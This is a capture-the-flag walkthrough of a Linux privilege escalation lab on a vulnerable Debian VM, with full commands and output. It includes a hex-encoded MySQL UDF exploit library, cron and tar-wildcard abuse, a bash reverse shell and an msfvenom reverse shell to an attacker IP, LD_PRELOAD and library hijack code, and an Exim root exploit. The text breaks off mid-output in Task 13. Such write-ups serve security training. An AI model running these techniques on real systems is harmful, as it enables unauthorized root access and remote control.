Linux PrivEsc room by Tib3rius
Task 1 Deploy the Vulnerable Debian VM
Run the "id" command. What is the result?
user@debian:~ $ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
Take advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.
Reference
user@debian:~ $ mysql -u root
mysql> select @@plugin_dir;
+-----------------------+
| @@plugin_dir |
+-----------------------+
| /usr/lib/mysql/plugin |
+-----------------------+
1 row in set (0.00 sec)
mysql> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| debian-linux-gnu | x86_64 |
+----------------------+---------------------------+
1 row in set (0.00 sec)
mysql> select binary 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 into dumpfile '/usr/lib/mysql/plugin/exploit.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function sys_exec returns int soname 'exploit.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func where name='sys_exec';
+----------+-----+------------+----------+
| name | ret | dl | type |
+----------+-----+------------+----------+
| sys_exec | 2 | exploit.so | function |
+----------+-----+------------+----------+
1 row in set (0.00 sec)
mysql> select sys_exec('cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod +s /tmp/rootbash');
+-----------------------------------------------------------------------------------------------+
| sys_exec('cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod +s /tmp/rootbash') |
+-----------------------------------------------------------------------------------------------+
| 0 |
+-----------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)
user@debian:~ $ /tmp/rootbash -p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
Task 3 Weak File Permissions - Readable /etc/shadow
What is the root user's password hash?
user@debian:~ $ ls -al /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
user@debian:~ $ cat /etc/shadow | grep root
root:$6 $Tb /euwmK$OXA .dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
What hashing algorithm was used to produce the root user's password hash?
What is the root user's password?
$ john --wordlist=/usr/share/wordlists/rockyou.txt shadow
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6 $ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press ' q' or Ctrl-C to abort, almost any other key for status
password123 (root)
1g 0:00:00:00 DONE (2021-01-07 03:45) 1.818g/s 2792p/s 2792c/s 2792C/s cuties..mexico1
Use the " --show" option to display all of the cracked passwords reliably
Session completed
Task 4 Weak File Permissions - Writable /etc/shadow
Edit the /etc/shadow file and replace the original root user's password hash with the one you just generated.
user@debian:~ $ ls -al /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
user@debian:~ $ mkpasswd -m sha-512 newpasswordhere
$6$2 eSa8b8zTamc$KJBUT8BR6zviPK /oh4CznBx6HRTeaJwel5mDu5AX8T9UeiqgmHFzLN1IzPzBeDwv/V6TULlIvlEyniglUMy2F0
user@debian:~ $ head -n 1 /etc/shadow
root:$6$2 eSa8b8zTamc$KJBUT8BR6zviPK /oh4CznBx6HRTeaJwel5mDu5AX8T9UeiqgmHFzLN1IzPzBeDwv/V6TULlIvlEyniglUMy2F0:17298:0:99999:7:::
user@debian:~ $ su
Password: newpasswordhere
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
Task 5 Weak File Permissions - Writable /etc/passwd
Edit the /etc/passwd file and place the generated password hash between the first and second colon ( : ) of the root user's row (replacing the "x").
user@debian:~ $ ls -al /etc/passwd
-rw-r--rw- 1 root root 1009 Aug 25 2019 /etc/passwd
user@debian:~ $ openssl passwd password
RtZbv4PchTb1g
user@debian:~ $ head -n 1 /etc/passwd
root:RtZbv4PchTb1g:0:0:root:/root:/bin/bash
user@debian:~ $ su
Password: password
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
Alternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").
user@debian:~ $ tail -n 1 /etc/passwd
newroot:RtZbv4PchTb1g:0:0:root:/root:/bin/bash
user@debian:~ $ su
Password: password
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
Task 6 Sudo - Shell Escape Sequences
How many programs is "user" allowed to run via sudo?
user@debian:~ $ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
One program on the list doesn't have a shell escape sequence on GTFOBins. Which is it?
Consider how you might use this program with sudo to gain root privileges without a shell escape sequence.
user@debian:~ $ sudo vim
:! /bin/bash
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
Task 7 Sudo - Environment Variables
Check which environment variables are inherited (look for the env_keep options)
env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
Create a shared object using the code located at /home/user/tools/sudo/preload.c
user@debian:~ /tools/sudo$ cat preload.c
# include <stdio.h>
# include <sys/types.h>
# include <stdlib.h>
void _init () {
unsetenv(" LD_PRELOAD" );
setresuid(0,0,0);
system(" /bin/bash -p" );
}
user@debian:~ /tools/sudo$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:
user@debian:~ /tools/sudo$ sudo LD_PRELOAD=/tmp/preload.so nmap
root@debian:/home/user/tools/sudo# id
uid=0(root) gid=0(root) groups=0(root)
Run ldd against the apache2 program file to see which shared libraries are used by the program:
user@debian:~ /tools/sudo$ ldd $( which apache2)
linux-vdso.so.1 => (0x00007fff383b0000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fce628d0000)
libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fce626ac000)
libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007fce62472000)
libpthread.so.0 => /lib/libpthread.so.0 (0x00007fce62256000)
libc.so.6 => /lib/libc.so.6 (0x00007fce61eea000)
libuuid.so.1 => /lib/libuuid.so.1 (0x00007fce61ce5000)
librt.so.1 => /lib/librt.so.1 (0x00007fce61add000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007fce618a6000)
libdl.so.2 => /lib/libdl.so.2 (0x00007fce616a1000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fce61479000)
/lib64/ld-linux-x86-64.so.2 (0x00007fce62d8d000)
Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:
user@debian:~ /tools/sudo$ cat library_path.c
# include <stdio.h>
# include <stdlib.h>
static void hijack () __attribute__(( constructor)) ;
void hijack () {
unsetenv(" LD_LIBRARY_PATH" );
setresuid(0,0,0);
system(" /bin/bash -p" );
}
user@debian:~ /tools/sudo$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):
user@debian:~ /tools/sudo$ sudo LD_LIBRARY_PATH=/tmp apache2
apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/libaprutil-1.so.0)
root@debian:/home/user/tools/sudo# id
uid=0(root) gid=0(root) groups=0(root)
Task 8 Cron Jobs - File Permissions
View the contents of the system-wide crontab
user@debian:~ $ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
Locate the full path of the overwrite.sh file
user@debian:~ $ locate overwrite.sh
/usr/local/bin/overwrite.sh
Note that the file is world-writable
user@debian:~ $ ls -l /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 40 May 13 2017 /usr/local/bin/overwrite.sh
Replace the contents of the overwrite.sh file with the following after changing the IP address to that of your Kali box.
user@debian:~ $ cat /usr/local/bin/overwrite.sh
#! /bin/bash
bash -i >& /dev/tcp/10.X.X.X/1337 0>&1
Task 9 Cron Jobs - PATH Environment Variable
Note that the PATH variable starts with /home/user which is our user's home directory.
user@debian:~ $ cat /etc/crontab | grep PATH
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Create a file called overwrite.sh in your home directory with the following contents:
user@debian:~ $ cat overwrite.sh
#! /bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
Make sure that the file is executable:
user@debian:~ $ chmod +x /home/user/overwrite.sh
Wait for the cron job to run and run /tmp/rootbash
command with -p
.
user@debian:~ $ /tmp/rootbash -p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
Task 10 Cron Jobs - Wildcards
View the contents of the other cron job script:
user@debian:~ $ cat /usr/local/bin/compress.sh
#! /bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
Use msfvenom on your Kali box to generate a reverse shell ELF binary.
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=1338 -f elf -o shell.elf
Create these two files in /home/user:
user@debian:~ $ chmod +x shell.elf
user@debian:~ $ touch /home/user/--checkpoint=1
user@debian:~ $ touch /home/user/--checkpoint-action=exec=shell.elf
Task 11 SUID / SGID Executables - Known Exploits
Find all the SUID/SGID executables on the Debian VM:
user@debian:~ $ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
-rwsr-s--x 1 root root 926536 Jan 7 04:40 /tmp/rootbash
-rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
Try to find a known exploit for this version of exim
$ searchsploit exim 4.84-3 privilege escalation
------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------- ---------------------------------
Exim 4.84-3 - Local Privilege Escalation | linux/local/39535.sh
$ searchsploit -m 39535
Exploit: Exim 4.84-3 - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/39535
Path: /usr/share/exploitdb/exploits/linux/local/39535.sh
File Type: POSIX shell script, ASCII text executable, with CRLF line terminators
Copied to: /home/kali/Desktop/linuxprivesc/39535.sh
Run the exploit script to gain a root shell:
user@debian:~ $ vim 39535.sh
:set fileformat=unix
:wq
user@debian:~ $ ./39535.sh
[ CVE-2016-1531 local root exploit
sh-4.1# id
uid= 0(root) gid= 1000(user) groups= 0(root)
Task 12 SUID / SGID Executables - Shared Object Injection
Run strace on the file and search the output for open/access calls and for "no such file" errors:
user@debian:~ $ strace /usr/local/bin/suid-so 2>&1 | grep -iE " open|access|no such file"
access(" /etc/suid-debug" , F_OK) = -1 ENOENT (No such file or directory)
access(" /etc/ld.so.nohwcap" , F_OK) = -1 ENOENT (No such file or directory)
access(" /etc/ld.so.preload" , R_OK) = -1 ENOENT (No such file or directory)
open(" /etc/ld.so.cache" , O_RDONLY) = 3
access(" /etc/ld.so.nohwcap" , F_OK) = -1 ENOENT (No such file or directory)
open(" /lib/libdl.so.2" , O_RDONLY) = 3
access(" /etc/ld.so.nohwcap" , F_OK) = -1 ENOENT (No such file or directory)
open(" /usr/lib/libstdc++.so.6" , O_RDONLY) = 3
access(" /etc/ld.so.nohwcap" , F_OK) = -1 ENOENT (No such file or directory)
open(" /lib/libm.so.6" , O_RDONLY) = 3
access(" /etc/ld.so.nohwcap" , F_OK) = -1 ENOENT (No such file or directory)
open(" /lib/libgcc_s.so.1" , O_RDONLY) = 3
access(" /etc/ld.so.nohwcap" , F_OK) = -1 ENOENT (No such file or directory)
open(" /lib/libc.so.6" , O_RDONLY) = 3
open(" /home/user/.config/libcalc.so" , O_RDONLY) = -1 ENOENT (No such file or directory)
Compile the code into a shared object at the location the suid-so executable was looking for it:
user@debian:~ $ cat /home/user/tools/suid/libcalc.c
# include <stdio.h>
# include <stdlib.h>
static void inject () __attribute__(( constructor)) ;
void inject () {
setuid(0);
system(" /bin/bash -p" );
}
user@debian:~ $ mkdir /home/user/.config
user@debian:~ $ gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
Execute the suid-so executable
user@debian:~ $ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
Task 13 SUID / SGID Executables - Environment Variables
One line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.
user@debian:~ $ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q; Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$( L
| $0 H
